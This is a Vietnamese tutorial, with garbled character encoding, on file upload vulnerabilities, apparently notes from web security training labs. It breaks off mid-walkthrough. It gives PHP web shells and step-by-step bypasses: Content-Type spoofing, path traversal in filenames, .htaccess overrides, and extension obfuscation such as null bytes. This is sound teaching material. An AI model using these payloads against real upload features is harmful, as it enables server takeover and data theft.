File upload

Lแป— hแป•ng file upload lร  gรฌ ?

Lแป— hแป•ng file upload lร  khi mรกy chแปง web cho phรฉp ngฦฐแปi dรนng tแบฃi tแป‡p lรชn hแป‡ thแป‘ng tแป‡p cแปงa nรณ mร  khรดng xรกc thแปฑc ฤ‘แบงy ฤ‘แปง nhแปฏng thแปฉ nhฦฐ tรชn, loแบกi, nแป™i dung hoแบทc kรญch thฦฐแป›c cแปงa chรบng. Viแป‡c khรดng thแปฑc thi ฤ‘รบng cรกc hแบกn chแบฟ ฤ‘แป‘i vแป›i nhแปฏng ฤ‘iแปu nร y cรณ thแปƒ cรณ nghฤฉa lร  ngay cแบฃ chแปฉc nฤƒng tแบฃi lรชn hรฌnh แบฃnh cฦก bแบฃn cลฉng cรณ thแปƒ ฤ‘ฦฐแปฃc sแปญ dแปฅng ฤ‘แปƒ tแบฃi lรชn cรกc tแป‡p tรนy รฝ vร  cรณ khแบฃ nฤƒng gรขy nguy hiแปƒm.

Tรกc ฤ‘แป™ng cแปงa lแป— hแป•ng file upload lร  gรฌ ?

Tรกc ฤ‘แป™ng thฦฐแปng phแปฅ thuแป™c vร o hai yแบฟu tแป‘ chรญnh:

  1. Khรญa cแบกnh nร o cแปงa tแป‡p mร  trang web khรดng xรกc thแปฑc ฤ‘รบng cรกch, cho dรน ฤ‘รณ lร  kรญch thฦฐแป›c, loแบกi, nแป™i dung...

  2. Nhแปฏng hแบกn chแบฟ nร o ฤ‘ฦฐแปฃc รกp dแปฅng cho tแป‡p sau khi ฤ‘รฃ ฤ‘ฦฐแปฃc tแบฃi lรชn thร nh cรดng.

Trong trฦฐแปng hแปฃp tแป‡ nhแบฅt, loแบกi tแป‡p khรดng ฤ‘ฦฐแปฃc xรกc thแปฑc hแปฃp lแป‡ vร  cแบฅu hรฌnh mรกy chแปง cho phรฉp mแป™t sแป‘ loแบกi tแป‡p nhแบฅt ฤ‘แป‹nh ( nhฦฐ .php vร  jsp) ฤ‘ฦฐแปฃc thแปฑc thi dฦฐแป›i dแบกng mรฃ. Trong trฦฐแปng hแปฃp nร y attacker cรณ khแบฃ nฤƒng cรณ thแปƒ tแบฃi lรชn tแป‡p mรฃ phรญa mรกy chแปง cรณ chแปฉc nฤƒng nhฦฐ webshell, cแบฅp cho chรบng toร n quyแปn kiแปƒm soรกt mรกy chแปง mแป™t cรกch hiแป‡u quแบฃ.

Lแป— hแป•ng file upload phรกt sinh nhฦฐ thแบฟ nร o ?

Trong thแปฑc tแบฟ, rแบฅt รญt khi cรกc trang web khรดng cรณ bแบฅt kรฌ hแบกn chแบฟ nร o ฤ‘แป‘i vแป›i nhแปฏng tแป‡p mร  ngฦฐแปi dรนng ฤ‘ฦฐแปฃc phรฉp tแบฃi lรชn. Cรกc nhร  phรกt triแปƒn triแปƒn khai nhแปฏng gรฌ hแป tin lร  xรกc thแปฑc mแบกnh mแบฝ vแป‘n cรณ thiแบฟu sรณt hoแบทc cรณ thแปƒ dแป… dร ng bแป qua.

Vรญ dแปฅ, hแปc cรณ thแปƒ cแป‘ gแบฏng ฤ‘ฦฐa cรกc loแบกi tแป‡p nguy hiแปƒm vร o danh sรกch ฤ‘en nhฦฐng khรดng tรญnh ฤ‘แบฟn sแปฑ khรกc biแป‡t vแป phรขn tรญch cรบ phรกp khi kiแปƒm tra mแปŸ rแป™ng tแป‡p. Vแป›i bแบฅt kรฌ danh sรกch ฤ‘en nร o, bแบกn cลฉng cรณ thแปƒ vรด tรฌnh bแป qua cรกc loแบกi tแป‡p khรณ hiแปƒu hฦกn mร  vแบซn cรณ thแปƒ nguy hiแปƒm.

Trong trฦฐแปng hแปฃp khรกc, trang web cรณ thแปƒ cแป‘ gแบฏng kiแปƒm tra loแบกi tแป‡p bแบฑng cรกch xรกc minh cรกc thuแป™c tรญnh mร  kแบป tแบฅn cรดng cรณ thแปƒ dแป… dร ng thao tรบng bแบฑng cรกc cรดng cแปฅ nhฦฐ Burp proxy hoแบทc Repeater.

Lร m cรกch nร o ฤ‘แปƒ mรกy chแปง web xแปญ lรฝ cรกc yรชu cแบงu ฤ‘แป‘i vแป›i tแป‡p tฤฉnh ?

Trฦฐแป›c ฤ‘รขy, cรกc trang web bao gแป“m hแบงu hแบฟt cรกc tแป‡p tฤฉnh sแบฝ ฤ‘ฦฐแปฃc cung cแบฅp cho ngฦฐแปi dรนng khi ฤ‘ฦฐแปฃc yรชu cแบงu. Do ฤ‘รณ, ฤ‘ฦฐแปng dแบซn cแปงa tแปซng yรชu cแบงu cรณ thแปƒ ฤ‘ฦฐแปฃc รกnh xแบก 1:1 vแป›i hแป‡ thแป‘ng phรขn cแบฅp cแปงa cรกc thฦฐ mแปฅc vร  tแป‡p trรชn hแป‡ thแป‘ng tแป‡p cแปงa mรกy chแปง. Ngร y nay, cรกc trang web ngร y cร ng tรขn tiแบฟn hฦกn vร  ฤ‘ฦฐแปng dแบซn cแปงa mแป™t yรชu cแบงu thฦฐแปng khรดng cรณ mแป‘i quan hแป‡ trแปฑc tiแบฟp vร o vแป›i hแป‡ thแป‘ng tแป‡p. Tuy nhiรชn cรกc trang web vแบซn xแปญ lรฝ cรกc yรชu cแบงu ฤ‘แป‘i vแป›i mแป™t sแป‘ tแป‡p tฤฉnh, bao gแป“m hรฌnh แบฃnh ....

Quรก trรฌnh xแปญ lรฝ cรกc tแป‡p tฤฉnh nร y phแบงn lแป›n lร  giแป‘ng nhau. Tแบกi mแป™t sแป‘ ฤ‘iแปƒm, mรกy chแปง phรขn tรญch cรบ phรกp ฤ‘ฦฐแปng dแบซn trong yรชu cแบงu ฤ‘แปƒ xรกc ฤ‘แป‹nh phแบงn mแปŸ rแป™ng tแป‡p. Sau ฤ‘รณ, nรณ sแปญ dแปฅng thรดng tin nร y ฤ‘แปƒ xรกc ฤ‘แป‹nh loแบกi tแป‡p ฤ‘ฦฐแปฃc yรชu cแบงu, thฦฐแปng bแบฑng cรกch so sรกnh nรณ vแป›i danh sรกch ฤ‘ฦฐแปฃc รกnh xแบก ฤ‘ฦฐแปฃc ฤ‘แป‹nh cแบฅu hรฌnh sแบตn giแปฏa cรกc phแบงn mแปŸ rแป™ng vร  loแบกi MIME.

  1. Nแบฟu loแบกi tแป‡p nร y khรดng thแปƒ thแปฑc thi ฤ‘ฦฐแปฃc, chแบณng hแบกn nhฦฐ hรฌnh แบฃnh hoแบทc trang HTML tฤฉnh, mรกy chแปง cรณ thแปƒ chแป‰ gแปญi nแป™i dung cแปงa tแป‡p tแป›i mรกy khรกch trong phแบฃn hแป“i HTTP.

  2. Nแบฟu loแบกi tแป‡p cรณ thแปƒ thแปฑc thi ฤ‘ฦฐแปฃc, chแบณng hแบกn nhฦฐ tแป‡p PHP vร  mรกy chแปง ฤ‘ฦฐแปฃc ฤ‘แป‹nh cแบฅu hรฌnh ฤ‘แปƒ thแปฑc thi cรกc tแป‡p thuแป™c loแบกi nร y, nรณ sแบฝ gรกn cรกc biแบฟn dแปฑa trรชn cรกc tiรชu ฤ‘แป vร  tham sแป‘ trong yรชu cแบงu HTTP trฦฐแป›c khi chแบกy tแบญp lแป‡nh. Sau ฤ‘รณ, ฤ‘แบงu ra kแบฟt quแบฃ cรณ thแปƒ ฤ‘ฦฐแปฃc gแปญi ฤ‘แบฟn mรกy khรกc trong phแบฃn hแป“i HTTP.

  3. Nแบฟu loแบกi tแป‡p cรณ thแปƒ thแปฑc thi ฤ‘ฦฐแปฃc, nhฦฐng mรกy chแปง khรดng ฤ‘ฦฐแปฃc cแบฅu hรฌnh ฤ‘แปƒ thแปฑc thi cรกc tแป‡p thuแป™c loแบกi nร y, thฦฐแปng phแบฃn hแป“i bแบฑng lแป—i. Tuy nhiรชn, trong mแป™t sแป‘ trฦฐแปng hแปฃp, nแป™i dung cแปงa tแป‡p vแบซn cรณ thแปƒ ฤ‘ฦฐแปฃc cung cแบฅp cho khรกch hร ng dฦฐแป›i dแบกng vฤƒn bแบฃn thuแบงn tรบy. Nhฦฐng cแบฅu hรฌnh sai nhฦฐ vแบญy ฤ‘รดi khi cรณ thแปƒ bแป‹ khai thรกc ฤ‘แปƒ rรฒ rแป‰ mรฃ nguแป“n vร  cรกc thรดng tin nhแบกy cแบฃm khรกc.

Exploiting unrestricted file uploads to deploy a web shell

Tรฌnh huแป‘ng xแบฅu nhแบฅt cรณ thแปƒ xแบฃy ra lร  khi mแป™t trang web cho phรฉp bแบกn tแบฃi lรชn cรกc tแบญp lแป‡nh phรญa mรกy chแปง, chแบณng hแบกn nhฦฐ cรกc tแป‡p PHP, Java hoแบทc Python, ฤ‘แป“ng thแปi cลฉng ฤ‘ฦฐแปฃc ฤ‘แป‹nh cแบฅu hรฌnh ฤ‘แปƒ thแปฑc thi chรบng dฦฐแป›i dแบกng mรฃ. ฤiแปu nร y lร m cho viแป‡c tแบกo webshell cแปงa riรชng bแบกn trรชn mรกy chแปง trแปŸ nรชn ฤ‘ฦกn giแบฃn.

Web shell lร  mแป™t tแบญp lแป‡nh ฤ‘แป™c hแบกi cho phรฉp kแบป tแบฅn cรดng thแปฑc thi cรกc lแป‡nh tรนy รฝ trรชn mรกy chแปง web tแปซ xa chแป‰ bแบฑng cรกch gแปญi yรชu cแบงu HTTP ฤ‘แบฟn ฤ‘รบng ฤ‘iแปƒm cuแป‘i.

Nแบฟu bแบกn cรณ thแปƒ tแบฃi lรชn webshell, bแบกn thแปฑc sแปฑ cรณ toร n quyแปn kiแปƒm soรกt mรกy chแปง. ฤiแปu nร y cรณ nghฤฉa lร  bแบกn cรณ thแปƒ ฤ‘แปc vร  ghi cรกc tแป‡p tรนy รฝ, lแปc dแปฏ liแป‡u nhแบกy cแบฃm, thแบญm chรญ sแปญ dแปฅng mรกy chแปง ฤ‘แปƒ xoay vรฒng cรกc cuแป™c tแบฅn cรดng chแป‘ng lแบกi cแบฃ cฦก sแปŸ hแบก tแบงng nแป™i bแป™ vร  cรกc mรกy chแปง khรกc bรชn ngoร i mแบกng. Vรญ dแปฅ:

<?php echo file_get_content('path/to/target/file');?>

Thแปฑc hร nh lab: (Level Apprentice)

Tรชn lab: Remote code execution via web shell upload

Nแป™i dung lab: Trang web nร y chแปฉa lแป— hแป•ng trong chแปฉc nฤƒng tแบฃi แบฃnh lรชn. Nรณ khรดng thแปฑc hiแป‡n bแบฅt kแปณ xรกc thแปฑc nร o ฤ‘แป‘i vแป›i cรกc tแป‡p mร  ngฦฐแปi dรนng tแบฃi lรชn trฦฐแป›c khi lฦฐu trแปฏ chรบng trรชn hแป‡ thแป‘ng tแป‡p cแปงa mรกy chแปง. ฤแปƒ giแบฃi quyแบฟt lab, hรฃy tแบฃi lรชn web shell PHP cฦก bแบฃn vร  trรญch xuแบฅt nแป™i dung cแปงa tแป‡p /home/carlos/secret.

Thแปฑc hiแป‡n lab:

  1. ฤฤƒng nhแบญp vแป›i thรดng tin tร i khoแบฃn mแบญt khแบฉu ฤ‘รฃ cho

  2. Tแบกo 1 file webshel.php vแป›i nแป™i dung: <? php echo file_get_contents('/home/carlos/secret'); ?>

  3. Upload file webshel.php ฤ‘รณ lรชn vร  gแปญi request

  4. Trong mแปฅc Proxy->History gแปญi request vแป›i phฦฐฦกng thแปฉc GET /files/avatars/webshell.php ฤ‘แบฟn Repeater.

  5. Gแปญi request ฤ‘รณ ฤ‘แปƒ nhแบญn ฤ‘ฦฐแปฃc thรดng tin bรญ mแบญt. Submit vร  hoร n thร nh lab.

Exploiting flawed validation of file uploads

Trรชn thแปฑc tแบฟ, rแบฅt รญt khi mร  cรณ thแปƒ tรฌm thแบฅy mแป™t trang web khรดng cรณ biแป‡n phรกp bแบฃo vแป‡ nร o chแป‘ng lแบกi cรกc cuแป™c tแบฅn cรดng tแบฃi lรชn tแป‡p nhฦฐ thรญ nghiแป‡m trฦฐแป›c. Nhฦฐng chแป‰ vรฌ hแป‡ thแป‘ng phรฒng thแปง ฤ‘ฦฐแปฃc ฤ‘แบทt ฤ‘รบng chแป—, ฤ‘iแปu ฤ‘รณ khรดng cรณ nghฤฉa lร  chรบng an toร n.

Flawed file type validation

Mแป™t cรกch mร  cรกc trang web cรณ thแปƒ cแป‘ gแบฏng xรกc thแปฑc cรกc tแป‡p tแบฃi lรชn lร  kiแปƒm tra xem tiรชu ฤ‘แป Content-Type dร nh riรชng cho ฤ‘แบงu vร o nร y cรณ khแป›p vแป›i loแบกi MIME dแปฑ kiแบฟn hay khรดng. Vรญ dแปฅ: nแบฟu mรกy chแปง chแป‰ mong ฤ‘แปฃi cรกc tแป‡p hรฌnh แบฃnh, thรฌ nรณ chแป‰ cรณ thแปƒ cho phรฉp cรกc loแบกi nhฦฐ image/jpeg vร  image/png. Cรกc vแบฅn ฤ‘แป cรณ thแปƒ phรกt sinh khi giรก trแป‹ cแปงa tiรชu ฤ‘แป nร y ฤ‘ฦฐแปฃc mรกy chแปง hoร n toร n tin cแบญy. Nแบฟu khรดng thแปฑc hiแป‡n xรกc thแปฑc thรชm ฤ‘แปƒ kiแปƒm tra xem nแป™i dung cแปงa tแป‡p cho thแปฑc sแปฑ khแป›p vแป›i loแบกi MIME giแบฃ ฤ‘แป‹nh hay khรดng, chรญnh vรฌ vแบญy, biแป‡n phรกp bแบฃo vแป‡ nร y cรณ thแปƒ dแป… dร ng vฦฐแปฃt qua bแบฑng cรกch sแปญ dแปฅng Burp Repeater.

Thแปฑc hร nh lab: (Level Apprentice)

Tรชn lab: Web shell upload via Content-Type restriction bypass

Nแป™i dung lab: Trang web chแปฉa chแปฉc nฤƒng tแบฃi lรชn hรฌnh แบฃnh dแป… bแป‹ tแบฅn cรดng. Nรณ cแป‘ gแบฏng ngฤƒn ngฦฐแปi dรนng tแบฃi lรชn cรกc loแบกi tแป‡p khรดng mong muแป‘n nhฦฐng dแปฑa vร o viแป‡c kiแปƒm tra ฤ‘แบงu vร o do ngฦฐแปi dรนng kiแปƒm soat ฤ‘แปƒ xรกc minh ฤ‘iแปu nร y. ฤแปƒ giแบฃi quyแบฟt lab, hรฃy tรฌm bรญ mแบญt trong tแป‡p /home/carlos/secret .

Thแปฑc hiแป‡n lab:

  1. ฤฤƒng nhแบญp vร o tร i khoแบฃn ฤ‘รฃ cho. Tแบกo file webshell12.php vร  upload.

  2. Dรนng Burp suite ฤ‘แปƒ chแบทn request vร  sแปญ ฤ‘แป•i tiรชu ฤ‘แป: Content-type : image/jpeg

  1. Nhฦฐ vแบญy file ฤ‘รฃ ฤ‘ฦฐแปฃc upload thร nh cรดng. Truy cแบญp request ฤ‘แปƒ ฤ‘แปc file bรญ mแบญt.

Preventing file execution in user-accessible directories

Mแบทc dรน ฤ‘iแปu nร y lร  tแป‘t hฦกn viแป‡c chแป‰ ngฤƒn chแบทn cรกc loแบกi tแป‡p nguy hiแปƒm ฤ‘ฦฐแปฃc tแบฃi lรชn ngay tแปซ ฤ‘แบงu, tuyแบฟn phรฒng thแปง thแปฉ hai lร  ngฤƒn mรกy chแปง thแปฑc thi bแบฅt kแปณ tแบญp lแป‡nh nร o lแปt qua mแบกng.

ฤแปƒ phรฒng ngแปซa ฤ‘iแปu nร y, cรกc mรกy chแปง chแป‰ chแบกy cรกc tแบญp lแป‡nh cรณ loแบกi MIME mร  chรบng ฤ‘รฃ ฤ‘ฦฐแปฃc cแบฅu hรฌnh rรต rร ng ฤ‘แปƒ thแปฑc thi. Mแบทt khรกc, chรบng cรณ thแปƒ chแป‰ trแบฃ vแป mแป™ sแป‘ loแบกi thรดng bรกo lแป—i hoแบทc cung cแบฅp nแป™i dung cแปงa tแป‡p dฦฐแป›i dแบกng vฤƒn bแบฃn thuแบงn tรบy.

GET /static/exploit.php?command=id HTTP/1.1 Host: normal-website.com

HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 39 <?php echo system($_GET['command']); ?>

Hร nh vi nร y cรณ thแปƒ cung cแบฅp mแป™t cรกch ฤ‘แปƒ rรฒ rแป‰ mรฃ nguแป“n nhฦฐng nรณ vรด hiแป‡u quรก mแปi lแป— lแปฑc tแบกo web shell.

Loแบกi cแบฅu hรฌnh nร y thฦฐแปng khรกc nhau giแปฏa cรกc thฦฐ mแปฅc. Mแป™ thฦฐ mแปฅc mร  cรกc tแป‡p do ngฦฐแปi dรนng cung cแบฅp ฤ‘ฦฐแปฃc tแบฃi lรชn sแบฝ cรณ khแบฃ nฤƒng kiแปƒm soรกt chแบทt chแบฝ hฦกn nhiแปu so vแป›i cรกc vแป‹ trรญ khรกc trรชn hแป‡ thแป‘ng tแป‡p ฤ‘ฦฐแปฃc cho lร  nแบฑm ngoร i tแบงm vแป›i cแปงa ngฦฐแปi dรนng cuแป‘i. Nแบฟu bแบกn cรณ thแปƒ tรฌm cรกch tแบฃi tแบญp lแป‡nh lรชn mแป™t thฦฐ mแปฅc khรกc khรดng ฤ‘ฦฐแปฃc phรฉp chแปฉa cรกc tแป‡p do ngฦฐแปi dรนng cung cแบฅp thรฌ cuแป‘i cรนng mรกy chแปง cรณ thแปƒ thแปฑc thi tแบญp lแป‡nh cแปงa bแบกn.

Cรกc mรกy chแปง web thฦฐแปng sแปญ dแปฅng trฦฐแปng filename nร y trong multipart/form-data ฤ‘แปƒ xรกc ฤ‘แป‹nh tรชn vร  vแป‹ trรญ lฦฐu tแป‡p.

Thแปฑc hร nh lab: (Level Practitioner)

Tรชn lab : Web shell upload via path traversal

Nแป™i dung lab: Trang web nร y chแปฉa lแป— hแป•ng trong chแปฉc nฤƒng tแบฃi แบฃnh lรชn. Mรกy chแปง ฤ‘ฦฐแปฃc cแบฅu hรฌnh ฤ‘แปƒ bแบฃo vแป‡ viแป‡c thแปฑc thi cรกc tแบญp cรกc tแบญp lแป‡nh do ngฦฐแปi dรนng cung cแบฅp, nhฦฐng do hแบกn chแบฟ nร y cรณ thแปƒ bแป qua bแบฑng cรกch khai thรกc lแป— hแป•ng thแปฉ cแบฅp. ฤแปƒ giแบฃi quyแบฟt, hรฃy tรฌm nแป™i dung tแป‡p /home/carlos/secret.

Thแปฑc hiแป‡n lab:

  1. Tแบฃi lรชn 1 bแปฉc แบฃnh bรฌnh thฦฐแปng ฤ‘แปƒ xem chแปฉc nฤƒng hiแปƒn thแป‹.

  2. Tแบกo 1 file PHP chแปฉa nแป™i dung sau vร  upload lรชn. <?php echo file_get_contents('/home/carlos/secret'); ?> Nhแบญn thแบฅy trang web khรดng chแบทn file PHP. Nhฦฐng kแบฟt quแบฃ trแบฃ vแป chแป‰ lร  mแป™t vฤƒn bแบฃn.

  3. Trong request POST /my-account/avatar, gแปญi ฤ‘แบฟn Repeater vร  sแปญa : filename = '../test.php' vร  gแปญi request. Nhแบญn thแบฅy file vแบซn ฤ‘ฦฐแปฃc tแบฃi lรชn.

  4. Trong Proxy -> History. Tรฌm request GET /file/avatar/../test.php. Gแปญi ฤ‘แบฟn Repeater vร  ฤ‘แปc nแป™i dung bรญ mแบญt.

ฤiแปu nร y cho biแบฟt rแบฑng tแป‡p ฤ‘รฃ ฤ‘ฦฐแปฃc tแบฃi lรชn thฦฐ mแปฅc cao hฦกn trong hแป‡ thแป‘ng phรขn cแบฅp tแป‡p ( /files) vร  sau ฤ‘รณ ฤ‘ฦฐแปฃc thแปฑc thi bแปŸi mรกy chแปง. Lฦฐu รฝ rแบฑng ฤ‘iแปu nร y cรณ nghฤฉa lร  bแบกn cลฉng cรณ thแปƒ yรชu cแบงu tแป‡p nร y bแบฑng cรกch sแปญ dแปฅng tแป‡p GET /files/test.php

Insufficient blacklisting of dangerous file types

Mแป™t trong nhแปฏng cรกch rรต rร ng hฦกn ฤ‘แปƒ ngฤƒn ngฦฐแปi dรนng tแบฃi lรชn cรกc tแป‡p ฤ‘แป™c hแบกi lร  ฤ‘ฦฐa vร o danh sรกch ฤ‘en cรกc phแบงn mแปŸ rแป™ng tแป‡p nguy hiแปƒm tiแปm tร ng nhฦฐ .php . Viแป‡c lแบญp danh sรกch ฤ‘en vแป‘n ฤ‘รฃ cรณ sai sรณt vรฌ khรณ cรณ thแปƒ ngฤƒn chแบทn rรต rร ng mแปi phแบงn mแปŸ rแป™ng tแป‡p cรณ thแปƒ ฤ‘ฦฐแปฃc sแปญ dแปฅng ฤ‘แปƒ thแปฑc thi mรฃ. Nhแปฏng danh sรกch ฤ‘en nhฦฐ vแบญy ฤ‘รดi khi cรณ thแปƒ ฤ‘ฦฐแปฃc bแป qua bแบฑng cรกch sแปญ dแปฅng cรกc phแบงn mแปŸ rแป™ng tแป‡p thay thแบฟ, รญt ฤ‘ฦฐแปฃc biแบฟt ฤ‘แบฟn hฦกn mร  vแบซn cรณ thแปƒ thแปฑc thi. (php5, phtml,...)

Overriding the server configuration

Cรกc mรกy chแปง thฦฐแปng khรดng thแปฑc thi cรกc tแป‡p trแปซ khi chรบng ฤ‘ฦฐแปฃc cแบฅu hรฌnh lร m nhฦฐ vแบญy. Vรญ dแปฅ: trฦฐแป›c khi mรกy chแปง Apache thแปฑc thi cรกc tแป‡p PHP do khรกch hร ng yรชu cแบงu, cรกc nhร  phรกt triแปƒn cรณ thแปƒ phแบฃi thรชm cรกc lแป‡nh sau vร o tแป‡p /etc/apache2/apache2.conf cแปงa hแป:

LoadModule php_module /usr/lib/apache2/modules/libphp.so AddType application/x-httpd-php .php

Nhiแปu mรกy chแปง cลฉng cรณ phรฉp cรกc dev tแบกo cรกc tแป‡p cแบฅu hรฌnh ฤ‘แบทc biแป‡t trong cรกc thฦฐ mแปฅc riรชng lแบป ฤ‘แปƒ ghi ฤ‘รจ hoแบทc thรชm vร o mแป™t hoแบทc nhiแปu cร i ฤ‘แบทt chung. Vรญ dแปฅ, cรกc mรกy chแปง Apache sแบฝ tแบฃi mแป™t cแบฅu hรฌnh dร nh riรชng cho thฦฐ mแปฅc tแปซ mแป™t tแบญp cรณ tรชn .htaccess nแบฟu cรณ.

Tฦฐฦกng tแปฑ, cรกc dev cรณ thแปƒ tแบกo cแบฅu hรฌnh dร nh riรชng cho thฦฐ mแปฅc trรชn mรกy chแปง IIS bแบฑng web.config. ฤiแปu nร y cรณ thแปƒ bao gแป“m cรกc lแป‡nh sau, trong trฦฐแปng hแปฃp nร y cho phรฉp cรกc tแป‡p JSON ฤ‘ฦฐแปฃc cung cแบฅp cho ngฦฐแปi dรนng:

Thแปฑc hร nh lab : (Level Practitioner)

Tรชn lab: Web shell upload via extension blacklist bypass

Nแป™i dung lab : Trang web nร y cรณ chแปฉc nฤƒng tแบฃi แบฃnh lรชn dแป… bแป‹ tแบฅn cรดng. Mแป™t sแป‘ phแบงn mแปŸ rแป™ng tแป‡p nhแบฅt ฤ‘แป‹nh ฤ‘ฦฐแปฃc ฤ‘ฦฐa vร o danh sรกch ฤ‘en, nhฦฐng biแป‡n phรกp bแบฃo vแป‡ nร y cรณ thแปƒ bแป‹ bแป qua do mแป™t lแป— hแป•ng co bแบฃn trong cแบฅu hรฌnh cแปงa danh sรกch ฤ‘en nร y. ฤแปƒ hoร n thร nh lab, hรฃy truy xuแบฅt nแป™i dung tแป‡p /home/carlos/secret

Thแปฑc hiแป‡n lab:

  1. Upload 1 bแปฉc แบฃnh bรฌnh thฦฐแปng vร  gแปญi request

  2. Gแปญi Request POST /my-account/avatar ฤ‘แบฟn Repeater

  3. Sแปญa ฤ‘แป•i filename thร nh shell.php vร  nแป™i dung thร nh : <? php echo file_get_contents('/home/carlos/secret'); ?>

Dฦฐแปng nhฦฐ server ฤ‘รฃ chแบทn khรดng cho upload file ฤ‘uรดi .php .Thแปญ nhแปฏng phแบงn mแปŸ rแป™ng khรกc nhฦฐ kแบฟt quแบฃ trแบฃ vแป chแป‰ lร  vฤƒn bแบฃn thuแบงn tรบy.

  1. Sแปญa ฤ‘แป•i filename thร nh .htaccess , Content-Type : text/plain, nแป™i dung file : AddType application/x-httpd-php .misa

File .htaccess ฤ‘รฃ ฤ‘ฦฐแปฃc upload lรชn. Bรขy giแป, upload mแป™t file shell.misa vแป›i nแป™i dung <? php echo file_get_contents('/home/carlos/secret'); ?> . vร  tรฌm tแป›i request GET /files/avatars/shell.misa. Nแป™i dung bรญ mแบญt cแปงa tแป‡p ฤ‘รฃ ฤ‘ฦฐแปฃc ฤ‘แปc.

Obfuscating file extensions

Ngay cแบฃ nhแปฏng danh sรกch ฤ‘en toร n diแป‡n nhแบฅt cลฉng cรณ thแปƒ bแป‹ bแป qua bแบฑng cรกch sแปญ dแปฅng cรกc kแปน thuแบญt che giแบฅu cแป• ฤ‘iแปƒn. Giแบฃ sแปญ, mรฃ xรกc thแปฑc phรขn biแป‡t chแปฏ hoa vร  chแปฏ thฦฐแปng vร  khรดng nhแบญn ra thแปฑc tแบฟ exploit.pHp lร  mแป™t tแป‡p .php . Nแบฟu mรฃ sau ฤ‘รณ รกnh xแบก phแบงn mแปŸ rแป™ng tแป‡p sang loแบกi MIME khรดng phรขn biแป‡t chแปฏ hoa vร  chแปฏ thฦฐแปng, thรฌ sแปฑ khรกc biแป‡t nร y cho phรฉp bแบกn ฤ‘รกnh cแบฏp cรกc tแป‡p PHP ฤ‘แป™c hแบกi trong quรก trรฌnh xรกc thแปฑc mร  cuแป‘i cรนng cรณ thแปƒ ฤ‘ฦฐแปฃc thแปฑc thi bแปŸi mรกy chแปง.

Cรณ thแปƒ ฤ‘แบกt ฤ‘ฦฐแปฃc kแบฟt quแบฃ tฦฐฦกng tแปฑ bแบฑng cรกch sแปญ dแปฅng cรกc kแปน thuแบญt sau:

  1. Cung cแบฅp nhiแปu tiแป‡n รญch mแปŸ rแป™ng. Tรนy thuแป™c vร o thuแบญt toรกn ฤ‘ฦฐแปฃc sแปญ dแปฅng ฤ‘แปƒ phรขn tรญch cรบ phรกp tรชn tแป‡p, tแป‡p sau ฤ‘รขy cรณ thแปƒ ฤ‘ฦฐแปฃc hiแปƒu lร  tแป‡p PHP hoแบทc hรฌnh แบฃnh (exploit.php.jpg)

  2. Thรชm cรกc kรญ tแปฑ theo sau. Mแป™t sแป‘ thร nh phแบงn sแบฝ loแบกi bแป hoแบทc bแป qua khoแบฃng trแบฏng แปŸ cuแป‘i, dแบฅu chแบฅm vร  nhแปฏng thแปฉ tฦฐฦกng tแปฑ: exploit.php.

  3. Sแปญ dแปฅng mรฃ hรณa URL (hoแบทc mรฃ hรณa kรฉp URL) cho dแบฅu chแบฅm, dแบฅu gแบกch chรฉo lรชn vร  dแบฅu gแบกch chรฉo ngฦฐแปฃc. Nแบฟu giรก trแป‹ khรดng ฤ‘ฦฐแปฃc giแบฃi mรฃ khi xรกc thแปฑc phแบงn mแปŸ rแป™ng tแป‡p, nhฦฐng sau ฤ‘รณ ฤ‘ฦฐแปฃc giแบฃi mรฃ phรญa mรกy chแปง, ฤ‘iแปu nร y cลฉng cรณ thแปƒ cho phรฉp bแบกn tแบฃi lรชn cรกc tแป‡p ฤ‘แป™c hแบกi mร  ฤ‘รกng lแบฝ ra sแบฝ bแป‹ chแบทn : exploit%2Ephp

  4. Thรชm dแบฅu chแบฅm phแบฉy hoแบทc kรฝ tแปฑ byte rแป—ng ฤ‘ฦฐแปฃc mรฃ hรณa URL trฦฐแป›c phแบงn mแปŸ rแป™ng tแป‡p. Vรญ dแปฅ: nแบฟu quรก trรฌnh xรกc thแปฑc ฤ‘ฦฐแปฃc viแบฟt bแบฑng ngรดn ngแปฏ cao cแบฅp nhฦฐ PHP hoแบทc Java, nhฦฐng mรกy chแปง xแปญ lรฝ tแป‡p bแบฑng cรกc hร m cแบฅp thแบฅp hฦกn trong C/C++, thรฌ ฤ‘iแปu nร y cรณ thแปƒ gรขy ra sแปฑ khรกc biแป‡t แปŸ phแบงn ฤ‘ฦฐแปฃc coi lร  phแบงn cuแป‘i cแปงa tแป‡p : exploit.asp;.jpg hoแบทc exploit.asp%00.jpg

  5. Sแปญ dแปฅng cรกc kรฝ tแปฑ unicode nhiแปu byte, cรณ thแปƒ ฤ‘ฦฐแปฃc chuyแปƒn ฤ‘แป•i thร nh byte rแป—ng vร  dแบฅu chแบฅm sau khi chuyแปƒn ฤ‘แป•i hoแบทc chuแบฉn hรณa unicode. Cรกc chuแป—i xC0 x2E, xC4 xAE hoแบทc xC0 xAE cรณ thแปƒ ฤ‘ฦฐแปฃc dแป‹ch thร nh x2E nแบฟu tรชn tแป‡p ฤ‘ฦฐแปฃc phรขn tรญch cรบ phรกp dฦฐแป›i dแบกng chuแป—i UTF-8, nhฦฐng sau ฤ‘รณ ฤ‘ฦฐแปฃc chuyแปƒn ฤ‘แป•i thร nh kรญ tแปฑ ASCII trฦฐแป›c khi ฤ‘ฦฐแปฃc sแปญ dแปฅng trong ฤ‘ฦฐแปng dแบซn.

Thแปฑc hร nh lab: (Level Practitioner)

Tรชn lab: Web shell upload via obfuscated file extension

Nแป™i dung lab: Trang web nร y chแปฉa chแปฉc nฤƒng tแบฃi แบฃnh lรชn hรฌnh แบฃnh dแป… bแป‹ tแบฅn cรดng. Mแป™t sแป‘ phแบงn mแปŸ rแป™ng tแป‡p nhแบฅt ฤ‘แป‹nh ฤ‘ฦฐแปฃc ฤ‘ฦฐa vร o danh sรกch ฤ‘en, nhฦฐng cรณ thแปƒ bแป qua biแป‡n phรกp bแบฃo vแป‡ nร y bแบฑng kแปน thuแบญt che giแบฅu cแป• ฤ‘iแปƒn. ฤแปƒ giแบฃi quyแบฟt bร i lab nร y, hรฃy ฤ‘แปc nแป™i dung tแป‡p /home/carlos/secret

Thแปฑc hiแป‡n lab:

  1. Tแบฃi lรชn mแป™t bแปฉc แบฃnh bแบฅt kรฌ vร  gแปญi request ฤ‘รณ tแป›i Repeater.

